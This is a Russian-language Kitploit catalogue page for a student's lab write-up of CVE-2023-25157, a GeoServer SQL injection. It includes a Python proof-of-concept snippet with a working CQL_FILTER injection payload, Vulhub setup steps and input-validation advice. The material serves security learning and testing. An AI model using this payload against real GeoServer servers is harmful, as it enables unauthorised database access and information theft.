Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Инструменты/GitHubGitHub/custiya/geoserver-cve-2023-25157
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийСбор информацииТестирование на Проникновение
GitHubcustiya/geoserver-cve-2023-25157

geoserver-CVE-2023-25157

Репозиторий
1 год назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

geoserver CVE-2023-25157

White Hat 3-й поток [группа 30] Ким Джон У


Ссылка на GitHub - https://github.com/custiya/geoserver-CVE-2023-25157

Краткое описание уязвимости

  • CVE-2023-25157 — это уязвимость SQLi в веб-приложении с открытым исходным кодом для картографического сервиса GeoServer
  • Встречается в некоторых версиях GeoServer 2.22.0 и ниже
  • Уязвим параметр CQL_FILTER в запросах WFS (Web Feature Service)
  • Если к этому API можно получить доступ без аутентификации, им может воспользоваться любой желающий

Настройка окружения

  • Запустите тестовое окружение командой docker compose up -d
  • Страница доступна по адресу http://your-ip:8080/geoserver
  • Сначала необходимо найти существующее рабочее пространство, содержащее хранилище данных PostGIS
  • В экземпляре GeoServer из Vulhub уже существует хранилище данных PostGIS
    • Имя рабочего пространства: vulhub
    • Имя хранилища данных: pg
    • Имя таблицы: example
    • Используемый атрибут: name

poc.py

  • Представляет собой SQLi-запрос, созданный на основе описанного выше
  • Этот запрос отправляется на сервер с использованием модуля request
  • strStartsWith(name,'x'') = true
    • Добавляет ещё одну кавычку ' после x, нарушая SQL-синтаксис
  • and 1=(SELECT CAST ((SELECT version()) AS integer))
    • Функция version() возвращает текущую версию PostgreSQL в виде строки
    • CAST(... AS integer) принудительно преобразует её в целое число, что вызывает ошибку
    • Сервер возвращает сообщение об ошибке, что позволяет провести тест на Blind SQL Injection
root@kitploit:~
# 대상 URL
url = "http://localhost:8080/geoserver/ows"

# CQL_FILTER에 들어갈 원본 인젝션 문자열 (URL 디코딩된 상태)
cql_filter = "strStartsWith(name,'x'') = true and 1=(SELECT CAST ((SELECT version()) AS integer)) -- ') = true"

# 파라미터 설정
params = {
    "service": "wfs",
    "version": "1.0.0",
    "request": "GetFeature",
    "typeName": "vulhub:example",
    "CQL_FILTER": cql_filter
}

Результат

Alt text

Итоги

  • С помощью данного PoC можно было определить наличие SQLi. Атакующий сможет собирать информацию о системе через SQL-запросы.
  • Для защиты от этой атаки необходимо добавить проверку пользовательского ввода. Кроме того, следует не использовать полученный SQL-синтаксис напрямую, а сохранять его отдельно и применять уже сохранённое значение.
Скачать инструмент